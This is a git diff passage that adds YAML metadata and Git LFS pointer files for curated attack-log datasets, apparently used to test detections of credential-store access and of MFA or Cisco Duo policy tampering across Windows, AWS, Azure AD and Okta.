b/datasets/attack_techniques/T1555.003/browser_credential_info_temp/braodo_browser_info-7d3a9a5a-c686-48b3-b0f6-f19cb14f5024.log new file mode 100644 index 000000000..ec3824991 --- /dev/null +++ b/datasets/attack_techniques/T1555.003/browser_credential_info_temp/braodo_browser_info-7d3a9a5a-c686-48b3-b0f6-f19cb14f5024.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1f3ec9ad09fe70bd5fc41b187dba892ba8215f2ccb1315ec1405ed5a5daaba8a +size 30122 diff --git a/datasets/attack_techniques/T1555.004/vaultcli_creds/T1555.004_vaultcli_creds.yml b/datasets/attack_techniques/T1555.004/vaultcli_creds/T1555.004_vaultcli_creds.yml new file mode 100644 index 000000000..fc9102124 --- /dev/null +++ b/datasets/attack_techniques/T1555.004/vaultcli_creds/T1555.004_vaultcli_creds.yml @@ -0,0 +1,13 @@ +author: STRT +id: 196ea8b3-f7f1-4529-b201-0c402d185664 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Credentials Access + via VaultCli Module +environment: attack_range +directory: vaultcli_creds +mitre_technique: [] +datasets: +- name: vaultcli + path: /datasets/attack_techniques/T1555.004/vaultcli_creds/vaultcli-196ea8b3-f7f1-4529-b201-0c402d185664.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1555.004/vaultcli_creds/vaultcli-196ea8b3-f7f1-4529-b201-0c402d185664.log b/datasets/attack_techniques/T1555.004/vaultcli_creds/vaultcli-196ea8b3-f7f1-4529-b201-0c402d185664.log new file mode 100644 index 000000000..21d3b39ce --- /dev/null +++ b/datasets/attack_techniques/T1555.004/vaultcli_creds/vaultcli-196ea8b3-f7f1-4529-b201-0c402d185664.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ede9eea2f88f699083672c80a049b1e4dd990ce950cf5338fc1fde7eb592297c +size 3130 diff --git a/datasets/attack_techniques/T1555/cmdkey_create_credential_store/T1555_cmdkey_create_credential_store.yml b/datasets/attack_techniques/T1555/cmdkey_create_credential_store/T1555_cmdkey_create_credential_store.yml new file mode 100644 index 000000000..1417e37af --- /dev/null +++ b/datasets/attack_techniques/T1555/cmdkey_create_credential_store/T1555_cmdkey_create_credential_store.yml @@ -0,0 +1,13 @@ +author: STRT +id: edb6bb2d-6f78-41a5-a75e-0beb0b38f455 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Credentials from + Password Stores Creation +environment: attack_range +directory: cmdkey_create_credential_store +mitre_technique: [] +datasets: +- name: cmdkey_gen_sys + path: /datasets/attack_techniques/T1555/cmdkey_create_credential_store/cmdkey_gen_sys-edb6bb2d-6f78-41a5-a75e-0beb0b38f455.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1555/cmdkey_create_credential_store/cmdkey_gen_sys-edb6bb2d-6f78-41a5-a75e-0beb0b38f455.log b/datasets/attack_techniques/T1555/cmdkey_create_credential_store/cmdkey_gen_sys-edb6bb2d-6f78-41a5-a75e-0beb0b38f455.log new file mode 100644 index 000000000..e1f6d184c --- /dev/null +++ b/datasets/attack_techniques/T1555/cmdkey_create_credential_store/cmdkey_gen_sys-edb6bb2d-6f78-41a5-a75e-0beb0b38f455.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c661870b0becbb508fdc16efd9f112161eeba966236fcfa4267b412f0854bde8 +size 2084 diff --git a/datasets/attack_techniques/T1555/cmdkey_delete_credentials_store/T1555_cmdkey_delete_credentials_store.yml b/datasets/attack_techniques/T1555/cmdkey_delete_credentials_store/T1555_cmdkey_delete_credentials_store.yml new file mode 100644 index 000000000..8812091f4 --- /dev/null +++ b/datasets/attack_techniques/T1555/cmdkey_delete_credentials_store/T1555_cmdkey_delete_credentials_store.yml @@ -0,0 +1,13 @@ +author: STRT +id: 23731aa5-bf3b-4eda-925d-5fc5cb654050 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Credentials from + Password Stores Deletion +environment: attack_range +directory: cmdkey_delete_credentials_store +mitre_technique: [] +datasets: +- name: cmdkey_del_sys + path: /datasets/attack_techniques/T1555/cmdkey_delete_credentials_store/cmdkey_del_sys-23731aa5-bf3b-4eda-925d-5fc5cb654050.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1555/cmdkey_delete_credentials_store/cmdkey_del_sys-23731aa5-bf3b-4eda-925d-5fc5cb654050.log b/datasets/attack_techniques/T1555/cmdkey_delete_credentials_store/cmdkey_del_sys-23731aa5-bf3b-4eda-925d-5fc5cb654050.log new file mode 100644 index 000000000..61cb5043a --- /dev/null +++ b/datasets/attack_techniques/T1555/cmdkey_delete_credentials_store/cmdkey_del_sys-23731aa5-bf3b-4eda-925d-5fc5cb654050.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ffc7ce78b4f480507f25eb52c7009e8ed238fb96bc97740c01a33d23b1a29069 +size 1990 diff --git a/datasets/attack_techniques/T1555/web_browser_pass_view/T1555_web_browser_pass_view.yml b/datasets/attack_techniques/T1555/web_browser_pass_view/T1555_web_browser_pass_view.yml new file mode 100644 index 000000000..6eb367c2e --- /dev/null +++ b/datasets/attack_techniques/T1555/web_browser_pass_view/T1555_web_browser_pass_view.yml @@ -0,0 +1,13 @@ +author: STRT +id: 347153ec-14bb-4846-a30f-4bb315239973 +date: '2026-07-10' +description: Curated attack data generated for detection Possible Browser Pass View + Parameter +environment: attack_range +directory: web_browser_pass_view +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1555/web_browser_pass_view/sysmon-347153ec-14bb-4846-a30f-4bb315239973.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1555/web_browser_pass_view/sysmon-347153ec-14bb-4846-a30f-4bb315239973.log b/datasets/attack_techniques/T1555/web_browser_pass_view/sysmon-347153ec-14bb-4846-a30f-4bb315239973.log new file mode 100644 index 000000000..d71946b26 --- /dev/null +++ b/datasets/attack_techniques/T1555/web_browser_pass_view/sysmon-347153ec-14bb-4846-a30f-4bb315239973.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:64498f27963ca7efa1aecfdfaafb45d485ca657e0b3dfcdda4e3709d1d33b0ef +size 1913 diff --git a/datasets/attack_techniques/T1556.001/atomic_red_team/T1556.001_atomic_red_team.yml b/datasets/attack_techniques/T1556.001/atomic_red_team/T1556.001_atomic_red_team.yml new file mode 100644 index 000000000..d5f87d24c --- /dev/null +++ b/datasets/attack_techniques/T1556.001/atomic_red_team/T1556.001_atomic_red_team.yml @@ -0,0 +1,12 @@ +author: STRT +id: 8b5fc0af-d53e-45ec-b927-7dbce9bbd8d4 +date: '2026-07-11' +description: Curated attack data generated for detection Windows ISO LNK File Creation +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: iso_windows-sysmon + path: /datasets/attack_techniques/T1556.001/atomic_red_team/iso_windows-sysmon-8b5fc0af-d53e-45ec-b927-7dbce9bbd8d4.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1556.001/atomic_red_team/iso_windows-sysmon-8b5fc0af-d53e-45ec-b927-7dbce9bbd8d4.log b/datasets/attack_techniques/T1556.001/atomic_red_team/iso_windows-sysmon-8b5fc0af-d53e-45ec-b927-7dbce9bbd8d4.log new file mode 100644 index 000000000..fd448cf16 --- /dev/null +++ b/datasets/attack_techniques/T1556.001/atomic_red_team/iso_windows-sysmon-8b5fc0af-d53e-45ec-b927-7dbce9bbd8d4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e4f87a209f4abb49725421a9850ac4cd8d9fd90de1024c8500d8422966d92bd6 +size 1051 diff --git a/datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/T1556.006_aws_new_mfa_method_registered_for_user.yml b/datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/T1556.006_aws_new_mfa_method_registered_for_user.yml new file mode 100644 index 000000000..da771f275 --- /dev/null +++ b/datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/T1556.006_aws_new_mfa_method_registered_for_user.yml @@ -0,0 +1,17 @@ +author: STRT +id: f2763798-c161-49fd-89c2-7dc8b154776d +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS New MFA Method Registered + For User +environment: attack_range +directory: aws_new_mfa_method_registered_for_user +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/asl_ocsf_cloudtrail-f2763798-c161-49fd-89c2-7dc8b154776d.log + sourcetype: aws:asl + source: aws_asl +- name: cloudtrail + path: /datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/cloudtrail-f2763798-c161-49fd-89c2-7dc8b154776d.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/asl_ocsf_cloudtrail-f2763798-c161-49fd-89c2-7dc8b154776d.log b/datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/asl_ocsf_cloudtrail-f2763798-c161-49fd-89c2-7dc8b154776d.log new file mode 100644 index 000000000..42b75e3a5 --- /dev/null +++ b/datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/asl_ocsf_cloudtrail-f2763798-c161-49fd-89c2-7dc8b154776d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a4cbcf8c6d05debe74c954569ac514110bb9346f01201c008c194da2fcad3d2f +size 2473 diff --git a/datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/cloudtrail-f2763798-c161-49fd-89c2-7dc8b154776d.log b/datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/cloudtrail-f2763798-c161-49fd-89c2-7dc8b154776d.log new file mode 100644 index 000000000..456fa398b --- /dev/null +++ b/datasets/attack_techniques/T1556.006/aws_new_mfa_method_registered_for_user/cloudtrail-f2763798-c161-49fd-89c2-7dc8b154776d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:21f22b4d7ea34727cecac1a8aebd8206c6f7d9c0d923ba6d45ded2cfdc5cd319 +size 2026 diff --git a/datasets/attack_techniques/T1556.006/azure_ad_new_mfa_method_registered_for_user/T1556.006_azure_ad_new_mfa_method_registered_for_user.yml b/datasets/attack_techniques/T1556.006/azure_ad_new_mfa_method_registered_for_user/T1556.006_azure_ad_new_mfa_method_registered_for_user.yml new file mode 100644 index 000000000..2faec96f9 --- /dev/null +++ b/datasets/attack_techniques/T1556.006/azure_ad_new_mfa_method_registered_for_user/T1556.006_azure_ad_new_mfa_method_registered_for_user.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8197cbf4-82a0-4c5e-b62b-437acc3c463e +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD New MFA Method Registered + For User +environment: attack_range +directory: azure_ad_new_mfa_method_registered_for_user +mitre_technique: [] +datasets: +- name: azuread + path: /datasets/attack_techniques/T1556.006/azure_ad_new_mfa_method_registered_for_user/azuread-8197cbf4-82a0-4c5e-b62b-437acc3c463e.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1556.006/azure_ad_new_mfa_method_registered_for_user/azuread-8197cbf4-82a0-4c5e-b62b-437acc3c463e.log b/datasets/attack_techniques/T1556.006/azure_ad_new_mfa_method_registered_for_user/azuread-8197cbf4-82a0-4c5e-b62b-437acc3c463e.log new file mode 100644 index 000000000..3c8dd5702 --- /dev/null +++ b/datasets/attack_techniques/T1556.006/azure_ad_new_mfa_method_registered_for_user/azuread-8197cbf4-82a0-4c5e-b62b-437acc3c463e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:89e7ad5f69700243fee54a46e67f80b62fdabd33d479d5bb4b15b290a180b5fc +size 2698 diff --git a/datasets/attack_techniques/T1556.006/okta_mfa_method_disabled/T1556.006_okta_mfa_method_disabled.yml b/datasets/attack_techniques/T1556.006/okta_mfa_method_disabled/T1556.006_okta_mfa_method_disabled.yml new file mode 100644 index 000000000..05a90099b --- /dev/null +++ b/datasets/attack_techniques/T1556.006/okta_mfa_method_disabled/T1556.006_okta_mfa_method_disabled.yml @@ -0,0 +1,13 @@ +author: STRT +id: 671c899e-ee7b-4957-9557-5c0386149ca8 +date: '2026-07-13' +description: Curated attack data generated for detection Okta Multi-Factor Authentication + Disabled +environment: attack_range +directory: okta_mfa_method_disabled +mitre_technique: [] +datasets: +- name: okta_mfa_method_disabled + path: /datasets/attack_techniques/T1556.006/okta_mfa_method_disabled/okta_mfa_method_disabled-671c899e-ee7b-4957-9557-5c0386149ca8.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1556.006/okta_mfa_method_disabled/okta_mfa_method_disabled-671c899e-ee7b-4957-9557-5c0386149ca8.log b/datasets/attack_techniques/T1556.006/okta_mfa_method_disabled/okta_mfa_method_disabled-671c899e-ee7b-4957-9557-5c0386149ca8.log new file mode 100644 index 000000000..e751cac0c --- /dev/null +++ b/datasets/attack_techniques/T1556.006/okta_mfa_method_disabled/okta_mfa_method_disabled-671c899e-ee7b-4957-9557-5c0386149ca8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5e98ce2139dfbec3ecad4d20f08365e5c65aff5d965d5a63f5082b6368b67925 +size 6363 diff --git a/datasets/attack_techniques/T1556/azuread/T1556_azuread.yml b/datasets/attack_techniques/T1556/azuread/T1556_azuread.yml new file mode 100644 index 000000000..902e96c90 --- /dev/null +++ b/datasets/attack_techniques/T1556/azuread/T1556_azuread.yml @@ -0,0 +1,13 @@ +author: STRT +id: c793b87f-e6f8-4952-825a-aa402fdb6358 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Multi-Factor Authentication + Disabled +environment: attack_range +directory: azuread +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1556/azuread/azure-audit-c793b87f-e6f8-4952-825a-aa402fdb6358.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1556/azuread/azure-audit-c793b87f-e6f8-4952-825a-aa402fdb6358.log b/datasets/attack_techniques/T1556/azuread/azure-audit-c793b87f-e6f8-4952-825a-aa402fdb6358.log new file mode 100644 index 000000000..fb1964cf6 --- /dev/null +++ b/datasets/attack_techniques/T1556/azuread/azure-audit-c793b87f-e6f8-4952-825a-aa402fdb6358.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ba48107ae4f511aa080ed73fa0279c773ccbfd45c12397aa73e8abe63222c6a2 +size 1526 diff --git a/datasets/attack_techniques/T1556/cisco_duo_bulk_policy_deletion/T1556_cisco_duo_bulk_policy_deletion.yml b/datasets/attack_techniques/T1556/cisco_duo_bulk_policy_deletion/T1556_cisco_duo_bulk_policy_deletion.yml new file mode 100644 index 000000000..b90b13464 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_bulk_policy_deletion/T1556_cisco_duo_bulk_policy_deletion.yml @@ -0,0 +1,12 @@ +author: STRT +id: e98aab40-a842-4590-83c3-c18536574ebf +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Bulk Policy Deletion +environment: attack_range +directory: cisco_duo_bulk_policy_deletion +mitre_technique: [] +datasets: +- name: cisco_duo_administrator + path: /datasets/attack_techniques/T1556/cisco_duo_bulk_policy_deletion/cisco_duo_administrator-e98aab40-a842-4590-83c3-c18536574ebf.log + sourcetype: cisco:duo:administrator + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_bulk_policy_deletion/cisco_duo_administrator-e98aab40-a842-4590-83c3-c18536574ebf.log b/datasets/attack_techniques/T1556/cisco_duo_bulk_policy_deletion/cisco_duo_administrator-e98aab40-a842-4590-83c3-c18536574ebf.log new file mode 100644 index 000000000..cac87fe01 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_bulk_policy_deletion/cisco_duo_administrator-e98aab40-a842-4590-83c3-c18536574ebf.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:efb0188ba7bca7fa541230f7d1c778ecfb25ebfca7e34767b46e528a9fdfc2de +size 916 diff --git a/datasets/attack_techniques/T1556/cisco_duo_bypass_2FA/T1556_cisco_duo_bypass_2FA.yml b/datasets/attack_techniques/T1556/cisco_duo_bypass_2FA/T1556_cisco_duo_bypass_2FA.yml new file mode 100644 index 000000000..3a795ed2d --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_bypass_2FA/T1556_cisco_duo_bypass_2FA.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3d4d8d03-31a2-432f-aef6-76d02061eb0a +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Set User Status + to Bypass 2FA +environment: attack_range +directory: cisco_duo_bypass_2FA +mitre_technique: [] +datasets: +- name: cisco_duo_activity + path: /datasets/attack_techniques/T1556/cisco_duo_bypass_2FA/cisco_duo_activity-3d4d8d03-31a2-432f-aef6-76d02061eb0a.log + sourcetype: cisco:duo:activity + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_bypass_2FA/cisco_duo_activity-3d4d8d03-31a2-432f-aef6-76d02061eb0a.log b/datasets/attack_techniques/T1556/cisco_duo_bypass_2FA/cisco_duo_activity-3d4d8d03-31a2-432f-aef6-76d02061eb0a.log new file mode 100644 index 000000000..4dc0122a8 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_bypass_2FA/cisco_duo_activity-3d4d8d03-31a2-432f-aef6-76d02061eb0a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6be58fc1b8b716be10a7f51dd6cf9cb75b918e5e12f6b378cb42a017ff8a8ccc +size 1391 diff --git a/datasets/attack_techniques/T1556/cisco_duo_bypass_code/T1556_cisco_duo_bypass_code.yml b/datasets/attack_techniques/T1556/cisco_duo_bypass_code/T1556_cisco_duo_bypass_code.yml new file mode 100644 index 000000000..8e5828f4e --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_bypass_code/T1556_cisco_duo_bypass_code.yml @@ -0,0 +1,12 @@ +author: STRT +id: 8a7b72ca-2ebf-4bea-94ec-20bee833caa3 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Bypass Code Generation +environment: attack_range +directory: cisco_duo_bypass_code +mitre_technique: [] +datasets: +- name: cisco_duo_activity + path: /datasets/attack_techniques/T1556/cisco_duo_bypass_code/cisco_duo_activity-8a7b72ca-2ebf-4bea-94ec-20bee833caa3.log + sourcetype: cisco:duo:administrator + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_bypass_code/cisco_duo_activity-8a7b72ca-2ebf-4bea-94ec-20bee833caa3.log b/datasets/attack_techniques/T1556/cisco_duo_bypass_code/cisco_duo_activity-8a7b72ca-2ebf-4bea-94ec-20bee833caa3.log new file mode 100644 index 000000000..6028dfb75 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_bypass_code/cisco_duo_activity-8a7b72ca-2ebf-4bea-94ec-20bee833caa3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:858d3cfb2f5ad7dfb9f02b8fa37c60a8bb8b923a26a2d15082991d02ac0d2189 +size 1119 diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_allow_devices_without_screen_lock/T1556_cisco_duo_policy_allow_devices_without_screen_lock.yml b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_devices_without_screen_lock/T1556_cisco_duo_policy_allow_devices_without_screen_lock.yml new file mode 100644 index 000000000..62b7ef74b --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_devices_without_screen_lock/T1556_cisco_duo_policy_allow_devices_without_screen_lock.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3f7f7b24-3838-4a15-80d1-55133532821f +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Policy Allow Devices + Without Screen Lock +environment: attack_range +directory: cisco_duo_policy_allow_devices_without_screen_lock +mitre_technique: [] +datasets: +- name: cisco_duo_administrator + path: /datasets/attack_techniques/T1556/cisco_duo_policy_allow_devices_without_screen_lock/cisco_duo_administrator-3f7f7b24-3838-4a15-80d1-55133532821f.log + sourcetype: cisco:duo:administrator + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_allow_devices_without_screen_lock/cisco_duo_administrator-3f7f7b24-3838-4a15-80d1-55133532821f.log b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_devices_without_screen_lock/cisco_duo_administrator-3f7f7b24-3838-4a15-80d1-55133532821f.log new file mode 100644 index 000000000..f4563d804 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_devices_without_screen_lock/cisco_duo_administrator-3f7f7b24-3838-4a15-80d1-55133532821f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5c5aebd7d22c939949ea0f673ffdf1aeccbd2902b550447291c68835435326ba +size 425 diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_allow_network_bypass_2fa/T1556_cisco_duo_policy_allow_network_bypass_2fa.yml b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_network_bypass_2fa/T1556_cisco_duo_policy_allow_network_bypass_2fa.yml new file mode 100644 index 000000000..cc4dcda6e --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_network_bypass_2fa/T1556_cisco_duo_policy_allow_network_bypass_2fa.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7d2224bd-2704-4850-87d2-3878ac243902 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Policy Allow Network + Bypass 2FA +environment: attack_range +directory: cisco_duo_policy_allow_network_bypass_2fa +mitre_technique: [] +datasets: +- name: cisco_duo_administrator + path: /datasets/attack_techniques/T1556/cisco_duo_policy_allow_network_bypass_2fa/cisco_duo_administrator-7d2224bd-2704-4850-87d2-3878ac243902.log + sourcetype: cisco:duo:administrator + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_allow_network_bypass_2fa/cisco_duo_administrator-7d2224bd-2704-4850-87d2-3878ac243902.log b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_network_bypass_2fa/cisco_duo_administrator-7d2224bd-2704-4850-87d2-3878ac243902.log new file mode 100644 index 000000000..538d25fab --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_network_bypass_2fa/cisco_duo_administrator-7d2224bd-2704-4850-87d2-3878ac243902.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9665b55655c437d63bace9e1d299e6664100c87c6e7ef6d4423ca9ccf100062b +size 955 diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_allow_old_flash_and_java/T1556_cisco_duo_policy_allow_old_flash_and_java.yml b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_old_flash_and_java/T1556_cisco_duo_policy_allow_old_flash_and_java.yml new file mode 100644 index 000000000..95c0b1a73 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_old_flash_and_java/T1556_cisco_duo_policy_allow_old_flash_and_java.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2f96636b-deb7-4c0d-9f6a-3b5009f07c5e +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Policy Allow Old + Flash +environment: attack_range +directory: cisco_duo_policy_allow_old_flash_and_java +mitre_technique: [] +datasets: +- name: cisco_duo_administrator + path: /datasets/attack_techniques/T1556/cisco_duo_policy_allow_old_flash_and_java/cisco_duo_administrator-2f96636b-deb7-4c0d-9f6a-3b5009f07c5e.log + sourcetype: cisco:duo:administrator + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_allow_old_flash_and_java/cisco_duo_administrator-2f96636b-deb7-4c0d-9f6a-3b5009f07c5e.log b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_old_flash_and_java/cisco_duo_administrator-2f96636b-deb7-4c0d-9f6a-3b5009f07c5e.log new file mode 100644 index 000000000..56325ea53 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_old_flash_and_java/cisco_duo_administrator-2f96636b-deb7-4c0d-9f6a-3b5009f07c5e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:42910521abc7f06f0a2479d59c02eb82dafacb97335923175990be4ed5203ca4 +size 973 diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_allow_tampered_devices/T1556_cisco_duo_policy_allow_tampered_devices.yml b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_tampered_devices/T1556_cisco_duo_policy_allow_tampered_devices.yml new file mode 100644 index 000000000..6a6e762ac --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_tampered_devices/T1556_cisco_duo_policy_allow_tampered_devices.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5c8bff39-8027-4e7e-91b5-16cc60ccd5d7 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Policy Allow Tampered + Devices +environment: attack_range +directory: cisco_duo_policy_allow_tampered_devices +mitre_technique: [] +datasets: +- name: cisco_duo_administrator + path: /datasets/attack_techniques/T1556/cisco_duo_policy_allow_tampered_devices/cisco_duo_administrator-5c8bff39-8027-4e7e-91b5-16cc60ccd5d7.log + sourcetype: cisco:duo:administrator + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_allow_tampered_devices/cisco_duo_administrator-5c8bff39-8027-4e7e-91b5-16cc60ccd5d7.log b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_tampered_devices/cisco_duo_administrator-5c8bff39-8027-4e7e-91b5-16cc60ccd5d7.log new file mode 100644 index 000000000..279c7a4c5 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_allow_tampered_devices/cisco_duo_administrator-5c8bff39-8027-4e7e-91b5-16cc60ccd5d7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5d4bf93f8c0d7b075f3a9db935dca4ff934ecb9920dafbb1ae4965d1e30c125e +size 432 diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA/T1556_cisco_duo_policy_bypass_2FA.yml b/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA/T1556_cisco_duo_policy_bypass_2FA.yml new file mode 100644 index 000000000..9e90bb498 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA/T1556_cisco_duo_policy_bypass_2FA.yml @@ -0,0 +1,12 @@ +author: STRT +id: 5919c362-34aa-4ed0-8d68-f618cd4f5698 +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Policy Bypass 2FA +environment: attack_range +directory: cisco_duo_policy_bypass_2FA +mitre_technique: [] +datasets: +- name: cisco_duo_administrator + path: /datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA/cisco_duo_administrator-5919c362-34aa-4ed0-8d68-f618cd4f5698.log + sourcetype: cisco:duo:administrator + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA/cisco_duo_administrator-5919c362-34aa-4ed0-8d68-f618cd4f5698.log b/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA/cisco_duo_administrator-5919c362-34aa-4ed0-8d68-f618cd4f5698.log new file mode 100644 index 000000000..dfdc5c004 --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA/cisco_duo_administrator-5919c362-34aa-4ed0-8d68-f618cd4f5698.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ee5bb135b61bbdcd455a7f314f834649ceeb3fd28b0dd0fe11d8f22c1dd609d8 +size 842 diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA_other_countries/T1556_cisco_duo_policy_bypass_2FA_other_countries.yml b/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA_other_countries/T1556_cisco_duo_policy_bypass_2FA_other_countries.yml new file mode 100644 index 000000000..79e07400a --- /dev/null +++ b/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA_other_countries/T1556_cisco_duo_policy_bypass_2FA_other_countries.yml @@ -0,0 +1,13 @@ +author: STRT +id: b8eb4e71-c741-468c-bdef-70642255334a +date: '2026-07-13' +description: Curated attack data generated for detection Cisco Duo Policy Skip 2FA + for Other Countries +environment: attack_range +directory: cisco_duo_policy_bypass_2FA_other_countries +mitre_technique: [] +datasets: +- name: cisco_duo_administrator + path: /datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA_other_countries/cisco_duo_administrator-b8eb4e71-c741-468c-bdef-70642255334a.log + sourcetype: cisco:duo:administrator + source: duo diff --git a/datasets/attack_techniques/T1556/cisco_duo_policy_bypass_2FA_other_countries/cisco_duo_administrator-b8eb4e71-c741-468c-bdef-70642255334a.log 